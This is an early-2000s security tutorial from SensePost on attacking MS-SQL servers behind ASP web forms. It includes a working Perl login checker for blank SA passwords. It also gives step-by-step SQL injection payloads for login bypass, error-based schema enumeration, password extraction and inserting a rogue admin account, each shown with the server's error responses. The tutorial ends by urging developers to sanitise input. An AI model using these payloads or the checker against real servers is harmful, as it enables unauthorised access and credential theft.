SQL Injection/Insertion Attacks

Introduction:
This article takes a broad look at the security issues surrounding MS-SQL
and a closer look at the problems of poor input validation (& their
implications) when http forms are used to query SQL servers.

It didnt take people long to realise that with all the "functionaility"
built into MS-SQL that a compromised MS-SQL server translated almost
directly to a compromised server and served as an excellent springboard
into
internal networks. Many excellent sites like [http://www.sqlsecurity.com]
have sprung up dedicated to issues both hats can use when dealing with
SQL-Server..

This paper is more about abusing poor administration and configuration than
it is about Service Packs and Hot-Fixes.

Blank SA:
The most common problem seen on MS-SQL boxes is the default <blank> SA
password. If you have a MS-SQL server exposed to the internet with TCP/IP
connectivity enabled (default) and SA passwordless (default) you
definiately asking for (and in the opinion of most, probably deserve) to
get hacked.
The following perl snippet logs into a SQL server over TCP/IP with the
supplied username and password. It would be trivial to script this snippet
into somthing that :
  a) scans for hosts with blank passwords
  b) Brute Forces login attempts.

-cut-
#!/usr/bin/perl
##
## SQL username/password checker
## Parameters: senseql <IP> <username> <password>
##
## Eg. to check for blank SA:
## senseql 10.0.0.1 sa ""
##
## Roelof Temmingh / Haroon Meer
## roelofat_private / haroonat_private
## SensePost IT Security
## http://www.sensepost.com
## http://www.hackrack.com
## 2001/11/09

use IO::Socket;
$|=1;
if ($#ARGV<2) {die "Usage: senseql IP username password\n";}
$port=1433; $host=$ARGV[0]; $username=$ARGV[1]; $pass=$ARGV[2];
$unh=pack("a30",$username);$psh=pack("a30",$pass);
$numu=pack("c",length($username)); $nump=pack("c",length($pass));
$FRONT="0200020000000200000000000000000000000000000000000000000000000000000
00000000000";
$REST="30303030303061300000000000000000000000000000000000201881b82c08030106
0a090101000000000000000000737175656c646120312e30000000000000000000000000000
000000000000b00000000000000000000000000000000000000000000000000000000000000
00";
$REST2="0000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000040200004d5344424c49420000000706000000000d110000000000000000000000000
00000000000000000000000";
$hfront=pack("H*",$FRONT);$hrest=pack("H*",$REST);$hrest2=pack("H*",$REST2)
;
$FULL=$hfront.$unh.$numu.$psh.$nump.$hrest.$nump.$psh.$hrest2;
$SENDY2="020100470000020000000000000000010000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000003030300000000300000
0";
$SENDY2 = pack("H*",$SENDY2);
print "$host:$username:$pass:";
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$host,PeerPort =>
$port)  || die "No SQL here man...";
print $remote $FULL; print $remote $SENDY2;
recv($remote,$back,100,MSG_PEEK);
if ($back =~ /context to 'master'/) {print "Yep - go for it\n"}
else {print "No dude..\n";}
close ($remote);

-cut-

Lets move on.. at least to admins who have had the sense to change the
admin password.

Input Validation [Simple]:

People have been screaming about poor (non) validation of user input for as
long as i can remember so i dont even think that any of the normal excuses
apply anymore. By now.. developers should simply have learnt that "all user
input should be inherently distrusted" and therfore sanitized.
Unfortunately most of the sites you come across seem to ignore sanitization
 of user inupt completely or do it selectively (often forgetting hidden 
fields). So lets move on..

Okay.. in its most simple form.. the asp snippet that handles the login
works thusly..

 SELECT XYZ from tblUsers WHERE User_ID='<field from web form>' AND
 U_Password='<field from web form>'
  IF [Stuff is Returned] {Login looks good}
  ELSE {Login looks bad}

The code assumes that if a record set was built ie.. If stuff is returned,
that the user must have logged in with valid credentials. A good login
therefore would look like :

 SELECT XYZ from tblUsers where User_ID='admin' AND U_Password='t0ps3kr3t'

Without user input sanitization, an attacker now has the ability to
add/inject SQL commands using the <field from web form>s. The user inputed
fields are enclosed by single quotation marks ' so a simple test of the
form would be to try using ' as the username. If we get back an ODBC error,
chances are that we are in the game. The next step would be to try the
following as user names:

 blah' OR '1'='1  (enter the same in password field)
 or even to try
 blah' OR 1=1--  (password field may remain blank)

The first option effectively runs the following query:

 SELECT XYZ from tblUsers WHERE User_ID='blah' OR '1'='1' AND
 U_Password='blah' OR '1'='1'

Why this works is easily apparant. The quotation mark closes the open SQL
quote and the statement is then OR'd with a condition that will always test
true. ie '1'='1'. With both the username and password conditions now
testing true, a recordset is built and the application assumes a valid 
login has taken place.

The second option used above makes use of the double hyphen (dash) which is
used as a comment operator. It effectively comments out the remaining bits
of the SQL statement to avoid Syntax errors etc. that could spring up with
unmatched quote marks.

Lets move on...

Input Validation [Higher Grade :>]:

In order to "protect" against this.. many sites resort to scripting on the
initial login.asp. To me, it makes very little sense to leave sanitization
to a piece of script that the end user can edit. So in most cases all that
is needed is for an attacker to save the html to his localmachine, remove
offending jscript (changing the location for the GET / POST request would
be
a good idea too) and run the form locally. Fortunately HTTP-Refferer checks
are just as easy to overcome ;)

The virtues of using stored procedures have been extolled in numerous
documents (cut down traffic / limit commands. blah.. blah) In most web
forms however, they add another (small) bit of protection.

Working on the previous example, we now look at  a snippet of ASP (kind of)
but with a stored procedure included (to timestamp the login / update the
last-logged in time.. etc.). We now have :

 SELECT XYZ from tblUsers WHERE User_ID='<field from web form>' AND
 U_Password='<field from web form>'
  * Run Stored procedure sp_loggedin
    IF [Stuff is Returned] {Login looks good}
    ELSE {Login looks bad}

Being the optimistic people we are... we give the old [ blah' OR '1'='1 ] a
try..

This time the server complains with:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Incorrect syntax near the
 keyword 'or'.
 /admin/admin.asp, line 10

The server is complaining because we are attempting to use an OR in a
stored procedure. The fact that the stored procedure is not going to
play happily with conditional queries means we have to forget about 
"OR"ing for a while. We get back to basics and in the username field we 
enter: 

 sensepost'

ODBC spits back the ffg error :

 Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark
 before the character string 'sensepost' AND Password=''.
 /admin/admin.asp, line 13

The '80040e14' error seems to be an almost catch-all/bad characters error
message.. Whats more interesting is the line that follows it. The returned
error message has disclosed its SQL query (or part of it) and one of the
columns in the queried table.

NB: The returned error messages are the key to using this technique and we
need to pay particular attention to them.  David Litchfield (@Stake) did a
lot of work with dissasembling ASP through ODBC error messages and we take
a few pages out of his book here. (Thanks David)

Armed with the column name we go back to the login page and this time use :

 sensepost' group by (password)--

Note : ^^ where password == the name of the column we obtained and where
the use of -- has been previously explained. An interesting point is that 
both column names and table names appear to be case insensitive (which 
helps later if a little bit of brute force is needed)

The ODBC error returned this time is :

 Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Column 'Admin.Userid' is
 invalid in the select list because it is not contained in either an
 aggregate function or the GROUP BY clause.
 /admin/admin.asp, line 13

Time for a minor "whoot!" This time the error message has given us both the
table name 'Admin' and the name of another column 'Userid'. We could now
repeat the previous step using the newly found column name untill we have
enumerated all the columns in the target table.

The holy grail David was searching for was to totally understand the
structure of the table being queried in order to be able to inject a valid
INSERT statement that would happily add us as valid users/administrators. I
have come across numerous sites that either(depending on what the SP_ in
question does) logs you in during this process or provides you with valid
credentials on the way. As with the "OR" method you are logged on as the
1st user in the table (who almost always happens to be an Administrator)

We need to know how many columns are in this table (to ensure that we know
about all of them) so we go back to our login screen and try :

 sensepost' union select userid from Admin--

..and get the ffg ODBC error message:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
 [Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL
 statement containing a UNION operator must have an equal number of
 expressions in their target lists.
 /admin/admin.asp, line 13

The server is now complaining about our attempt to use the UNION operator
without matching the correct number of columns as the number of columns in
the Admin table. We go back to the login and try :

 sensepost' union select userid,userid from Admin--

but get back the same error message. We keep adding untill the ODBC error
message stops. (In the example we are abusing above the winning login was
eventually :

 sensepost' union select userid,userid,userid,userid,userid from Admin--

This time the returned error message was :

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
 varchar value 'superAdmin' to a column of data type int.
 /admin/admin.asp, line 13

once more.. time for a Whoooooot!!! (notice.. more ooo's int he hoot and a
few more !!'s as well)

In complaining about an operation it tried to perform on one of our
requested "userid" columns the server has returned the value of the first
userid in the table. (superAdmin.. hmmm.. looks hopefull :)) )

At this point we have 2 options: a) to go for the quick kill, to use the
above method to extract a password from the server. b) to complete the
analysis of the table structure in order to do an INSERT. The INSERT method
makes little /no sense in the example im using and the Admin table in
question appears to have only 2 columns (userid/passwrd) I have added the
next few lines for completeness (and for the day you run into a table with
more columns of needed data)

To continue to understand the table structure the last step is just to
attempt a "compute sum" operation on selected fields. I.e we change the
login to:

 sensepost' compute sum (userid)

SQL obviously complains about its inability to "sum" a non numerical field
and in the process gives us the final piece of information about the
column,
its data type:

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average
 aggregate operation cannot take a    varchar data type as an argument.
 /admin/admin.asp, line 13

Doing this on all of the enumerated columns leaves us with enough
information to eventually insert a field into the table with :

 sensepost' insert into Admin(userid,password,lastlogin) values
 ('haroon','hi','Dec 19 2001 5:53PM')--

Which then just leaves me having to reload the form and login ...

Of course in this case, an easier alternative was to skip the INSERT and
COMPUTE steps all together. If you recall we were able to get a valid
username (superAdmin) in the error message when we tried :

 sensepost' union select userid,userid,userid,userid,userid from Admin--

hmm... the logical next step would therefore be :

 sensepost' union select password,password,password,password,password from
 Admin--

Which returns..

 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
 [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
 varchar value 'h1dd3n' to a   column of data type int.
 /admin/admin.asp, line 13

Giving us valid login credentials with username "superAdmin" & password
"h1dd3n"

The number of ASP <--> MS-SQL sites vulnerable to such attacks are
shocking... considering that sanitization should have been what developers
learnt on DAY2 of E-Commerce 1-oh-1 (Changing default passwords / usernames
shld be day one) and whats even more alarming is the number of sites that
will sanitize input on text-boxes but then ignore sanitization on hidden
fields or list boxes which are a vi away from being hostile.

Conclusion:
Sanitize!! Sanitize!! Sanitize!!
Dont rely for protection on user Edit-able scripting
Assume all end-user input is hostile
Sanitize!! Sanitize!! Sanitize!!

MH / SensePost  haroonat_private